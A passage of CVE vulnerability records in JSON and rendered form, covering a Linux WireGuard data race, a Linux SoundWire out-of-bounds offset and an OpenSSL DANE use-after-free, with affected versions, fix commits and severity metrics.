            "url": "https://git.kernel.org/stable/c/f87884e0dffd61b47e58bc6e1e2f6843c212b0cc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d691be84ab898cf136a35176eaf2f8fc116563f0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/45a83b220c83e3c326513269afbf69ae6fc65cce"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/78739d72f16b2d7d549f713f1dfebd678d32484b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3f94da807fe1668b9830f0eefbbf7e887b0a7bc6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fdf16de078a97bf14bb8ee2b8d47cc3d3ead09ed"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bba045dc4d996d03dce6fe45726e78a1a1f6d4c3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26861",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:48:32.233125Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:26.632Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:37.446Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireguard/receive.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f87884e0dffd61b47e58bc6e1e2f6843c212b0cc",
              "status": "affected",
              "version": "a9e90d9931f3a474f04bab782ccd9d77904941e9",
              "versionType": "git"
            },
            {
              "lessThan": "d691be84ab898cf136a35176eaf2f8fc116563f0",
              "status": "affected",
              "version": "a9e90d9931f3a474f04bab782ccd9d77904941e9",
              "versionType": "git"
            },
            {
              "lessThan": "45a83b220c83e3c326513269afbf69ae6fc65cce",
              "status": "affected",
              "version": "a9e90d9931f3a474f04bab782ccd9d77904941e9",
              "versionType": "git"
            },
            {
              "lessThan": "78739d72f16b2d7d549f713f1dfebd678d32484b",
              "status": "affected",
              "version": "a9e90d9931f3a474f04bab782ccd9d77904941e9",
              "versionType": "git"
            },
            {
              "lessThan": "3f94da807fe1668b9830f0eefbbf7e887b0a7bc6",
              "status": "affected",
              "version": "a9e90d9931f3a474f04bab782ccd9d77904941e9",
              "versionType": "git"
            },
            {
              "lessThan": "fdf16de078a97bf14bb8ee2b8d47cc3d3ead09ed",
              "status": "affected",
              "version": "a9e90d9931f3a474f04bab782ccd9d77904941e9",
              "versionType": "git"
            },
            {
              "lessThan": "bba045dc4d996d03dce6fe45726e78a1a1f6d4c3",
              "status": "affected",
              "version": "a9e90d9931f3a474f04bab782ccd9d77904941e9",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "4a7939808afdc57ecaeb72d049e2985321a1e44e",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireguard/receive.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.7"
            },
            {
              "lessThan": "5.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.6.16",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwireguard: receive: annotate data-race around receiving_counter.counter\n\nSyzkaller with KCSAN identified a data-race issue when accessing\nkeypair-\u003ereceiving_counter.counter. Use READ_ONCE() and WRITE_ONCE()\nannotations to mark the data race as intentional.\n\n    BUG: KCSAN: data-race in wg_packet_decrypt_worker / wg_packet_rx_poll\n\n    write to 0xffff888107765888 of 8 bytes by interrupt on cpu 0:\n     counter_validate drivers/net/wireguard/receive.c:321 [inline]\n     wg_packet_rx_poll+0x3ac/0xf00 drivers/net/wireguard/receive.c:461\n     __napi_poll+0x60/0x3b0 net/core/dev.c:6536\n     napi_poll net/core/dev.c:6605 [inline]\n     net_rx_action+0x32b/0x750 net/core/dev.c:6738\n     __do_softirq+0xc4/0x279 kernel/softirq.c:553\n     do_softirq+0x5e/0x90 kernel/softirq.c:454\n     __local_bh_enable_ip+0x64/0x70 kernel/softirq.c:381\n     __raw_spin_unlock_bh include/linux/spinlock_api_smp.h:167 [inline]\n     _raw_spin_unlock_bh+0x36/0x40 kernel/locking/spinlock.c:210\n     spin_unlock_bh include/linux/spinlock.h:396 [inline]\n     ptr_ring_consume_bh include/linux/ptr_ring.h:367 [inline]\n     wg_packet_decrypt_worker+0x6c5/0x700 drivers/net/wireguard/receive.c:499\n     process_one_work kernel/workqueue.c:2633 [inline]\n     ...\n\n    read to 0xffff888107765888 of 8 bytes by task 3196 on cpu 1:\n     decrypt_packet drivers/net/wireguard/receive.c:252 [inline]\n     wg_packet_decrypt_worker+0x220/0x700 drivers/net/wireguard/receive.c:501\n     process_one_work kernel/workqueue.c:2633 [inline]\n     process_scheduled_works+0x5b8/0xa30 kernel/workqueue.c:2706\n     worker_thread+0x525/0x730 kernel/workqueue.c:2787\n     ..."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:05:33.181Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f87884e0dffd61b47e58bc6e1e2f6843c212b0cc"
        },
        {
          "url": "https://git.kernel.org/stable/c/d691be84ab898cf136a35176eaf2f8fc116563f0"
        },
        {
          "url": "https://git.kernel.org/stable/c/45a83b220c83e3c326513269afbf69ae6fc65cce"
        },
        {
          "url": "https://git.kernel.org/stable/c/78739d72f16b2d7d549f713f1dfebd678d32484b"
        },
        {
          "url": "https://git.kernel.org/stable/c/3f94da807fe1668b9830f0eefbbf7e887b0a7bc6"
        },
        {
          "url": "https://git.kernel.org/stable/c/fdf16de078a97bf14bb8ee2b8d47cc3d3ead09ed"
        },
        {
          "url": "https://git.kernel.org/stable/c/bba045dc4d996d03dce6fe45726e78a1a1f6d4c3"
        }
      ],
      "title": "wireguard: receive: annotate data-race around receiving_counter.counter",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26861",
    "datePublished": "2024-04-17T10:27:24.980Z",
    "dateReserved": "2024-02-19T14:20:24.184Z",
    "dateUpdated": "2026-05-12T11:49:37.446Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38635 (GCVE-0-2024-38635)

Vulnerability from cvelistv5 – Published: 2024-06-21 10:18 – Updated: 2026-05-12 11:55

Title

soundwire: cadence: fix invalid PDI offset

Summary

In the Linux kernel, the following vulnerability has been resolved: soundwire: cadence: fix invalid PDI offset For some reason, we add an offset to the PDI, presumably to skip the PDI0 and PDI1 which are reserved for BPT. This code is however completely wrong and leads to an out-of-bounds access. We were just lucky so far since we used only a couple of PDIs and remained within the PDI array bounds. A Fixes: tag is not provided since there are no known platforms where the out-of-bounds would be accessed, and the initial code had problems as well. A follow-up patch completely removes this useless offset.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/002364b2d594a9afc…
https://git.kernel.org/stable/c/fd4bcb991ebaf0d18…
https://git.kernel.org/stable/c/902f6d656441a511a…
https://git.kernel.org/stable/c/2ebcaa0e5db9b6044…
https://git.kernel.org/stable/c/7eeef1e935d23db52…
https://git.kernel.org/stable/c/4e99103f757cdf636…
https://git.kernel.org/stable/c/8ee1b439b1540ae54…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 002364b2d594a9afc0385c09e00994c510b1d089 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < fd4bcb991ebaf0d1813d81d9983cfa99f9ef5328 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 902f6d656441a511ac25c6cffce74496db10a078 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 2ebcaa0e5db9b6044bb487ae1cf41bc601761567 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 7eeef1e935d23db5265233d92395bd5c648a4021 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 4e99103f757cdf636c6ee860994a19a346a11785 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 8ee1b439b1540ae543149b15a2a61b9dff937d91 (git)
Linux	Linux	Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.9.4 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38635",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-21T13:12:09.388099Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-21T13:12:24.572Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T04:12:26.040Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/002364b2d594a9afc0385c09e00994c510b1d089"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fd4bcb991ebaf0d1813d81d9983cfa99f9ef5328"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/902f6d656441a511ac25c6cffce74496db10a078"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2ebcaa0e5db9b6044bb487ae1cf41bc601761567"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7eeef1e935d23db5265233d92395bd5c648a4021"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4e99103f757cdf636c6ee860994a19a346a11785"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8ee1b439b1540ae543149b15a2a61b9dff937d91"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:13.405Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/soundwire/cadence_master.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "002364b2d594a9afc0385c09e00994c510b1d089",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "fd4bcb991ebaf0d1813d81d9983cfa99f9ef5328",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "902f6d656441a511ac25c6cffce74496db10a078",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "2ebcaa0e5db9b6044bb487ae1cf41bc601761567",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "7eeef1e935d23db5265233d92395bd5c648a4021",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "4e99103f757cdf636c6ee860994a19a346a11785",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "8ee1b439b1540ae543149b15a2a61b9dff937d91",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/soundwire/cadence_master.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsoundwire: cadence: fix invalid PDI offset\n\nFor some reason, we add an offset to the PDI, presumably to skip the\nPDI0 and PDI1 which are reserved for BPT.\n\nThis code is however completely wrong and leads to an out-of-bounds\naccess. We were just lucky so far since we used only a couple of PDIs\nand remained within the PDI array bounds.\n\nA Fixes: tag is not provided since there are no known platforms where\nthe out-of-bounds would be accessed, and the initial code had problems\nas well.\n\nA follow-up patch completely removes this useless offset."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:20:35.522Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/002364b2d594a9afc0385c09e00994c510b1d089"
        },
        {
          "url": "https://git.kernel.org/stable/c/fd4bcb991ebaf0d1813d81d9983cfa99f9ef5328"
        },
        {
          "url": "https://git.kernel.org/stable/c/902f6d656441a511ac25c6cffce74496db10a078"
        },
        {
          "url": "https://git.kernel.org/stable/c/2ebcaa0e5db9b6044bb487ae1cf41bc601761567"
        },
        {
          "url": "https://git.kernel.org/stable/c/7eeef1e935d23db5265233d92395bd5c648a4021"
        },
        {
          "url": "https://git.kernel.org/stable/c/4e99103f757cdf636c6ee860994a19a346a11785"
        },
        {
          "url": "https://git.kernel.org/stable/c/8ee1b439b1540ae543149b15a2a61b9dff937d91"
        }
      ],
      "title": "soundwire: cadence: fix invalid PDI offset",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38635",
    "datePublished": "2024-06-21T10:18:24.244Z",
    "dateReserved": "2024-06-18T19:36:34.947Z",
    "dateUpdated": "2026-05-12T11:55:13.405Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-28387 (GCVE-0-2026-28387)

Vulnerability from cvelistv5 – Published: 2026-04-07 22:00 – Updated: 2026-05-12 12:08

Title

Potential Use-after-free in DANE Client Code

Summary

Issue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side. Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code. However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage. By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable. The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records. No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.

Severity ?

No CVSS data available.

CWE

CWE-416 - Use After Free

Assigner

openssl

References

6 references

URL	Tags
https://openssl-library.org/news/secadv/20260407.txt	vendor-advisory
https://github.com/openssl/openssl/commit/258a8f6…	patch
https://github.com/openssl/openssl/commit/444958d…	patch
https://github.com/openssl/openssl/commit/07e727d…	patch
https://github.com/openssl/openssl/commit/7a4e08c…	patch
https://github.com/openssl/openssl/commit/ec03fa0…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.6.0 , < 3.6.2 (semver) Affected: 3.5.0 , < 3.5.6 (semver) Affected: 3.4.0 , < 3.4.5 (semver) Affected: 3.3.0 , < 3.3.7 (semver) Affected: 3.0.0 , < 3.0.20 (semver) Affected: 1.1.1 , < 1.1.1zg (custom)

Date Public ?

2026-04-07 14:00

Credits

Igor Morgenstern (Aisle Research) Viktor Dukhovni Alexandr Nedvedicky

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 8.1,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-28387",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-09T03:56:07.962224Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-10T20:10:20.584Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC CN 4100",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V5.0",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:08:58.724Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.6.2",
              "status": "affected",
              "version": "3.6.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.5.6",
              "status": "affected",
              "version": "3.5.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.4.5",
              "status": "affected",
              "version": "3.4.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.3.7",
              "status": "affected",
              "version": "3.3.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.20",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1zg",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Igor Morgenstern (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Viktor Dukhovni"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Alexandr Nedvedicky"
        }
      ],
      "datePublic": "2026-04-07T14:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: An uncommon configuration of clients performing DANE TLSA-based\u003cbr\u003eserver authentication, when paired with uncommon server DANE TLSA records, may\u003cbr\u003eresult in a use-after-free and/or double-free on the client side.\u003cbr\u003e\u003cbr\u003eImpact summary: A use after free can have a range of potential consequences\u003cbr\u003esuch as the corruption of valid data, crashes or execution of arbitrary code.\u003cbr\u003e\u003cbr\u003eHowever, the issue only affects clients that make use of TLSA records with both\u003cbr\u003ethe PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate\u003cbr\u003eusage.\u003cbr\u003e\u003cbr\u003eBy far the most common deployment of DANE is in SMTP MTAs for which RFC7672\u003cbr\u003erecommends that clients treat as \u0027unusable\u0027 any TLSA records that have the PKIX\u003cbr\u003ecertificate usages.  These SMTP (or other similar) clients are not vulnerable\u003cbr\u003eto this issue.  Conversely, any clients that support only the PKIX usages, and\u003cbr\u003eignore the DANE-TA(2) usage are also not vulnerable.\u003cbr\u003e\u003cbr\u003eThe client would also need to be communicating with a server that publishes a\u003cbr\u003eTLSA RRset with both types of TLSA records.\u003cbr\u003e\u003cbr\u003eNo FIPS modules are affected by this issue, the problem code is outside the\u003cbr\u003eFIPS module boundary."
            }
          ],
          "value": "Issue summary: An uncommon configuration of clients performing DANE TLSA-based\nserver authentication, when paired with uncommon server DANE TLSA records, may\nresult in a use-after-free and/or double-free on the client side.\n\nImpact summary: A use after free can have a range of potential consequences\nsuch as the corruption of valid data, crashes or execution of arbitrary code.\n\nHowever, the issue only affects clients that make use of TLSA records with both\nthe PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate\nusage.\n\nBy far the most common deployment of DANE is in SMTP MTAs for which RFC7672\nrecommends that clients treat as \u0027unusable\u0027 any TLSA records that have the PKIX\ncertificate usages.  These SMTP (or other similar) clients are not vulnerable\nto this issue.  Conversely, any clients that support only the PKIX usages, and\nignore the DANE-TA(2) usage are also not vulnerable.\n\nThe client would also need to be communicating with a server that publishes a\nTLSA RRset with both types of TLSA records.\n\nNo FIPS modules are affected by this issue, the problem code is outside the\nFIPS module boundary."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://openssl-library.org/policies/general/security-policy/"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-416",
              "description": "CWE-416 Use After Free",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-07T22:00:51.496Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://openssl-library.org/news/secadv/20260407.txt"
        },
        {
          "name": "3.6.2 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/258a8f63b26995ba357f4326da00e19e29c6acbe"
        },
        {
          "name": "3.5.6 git commit",
          "tags": [
            "patch"
          ],
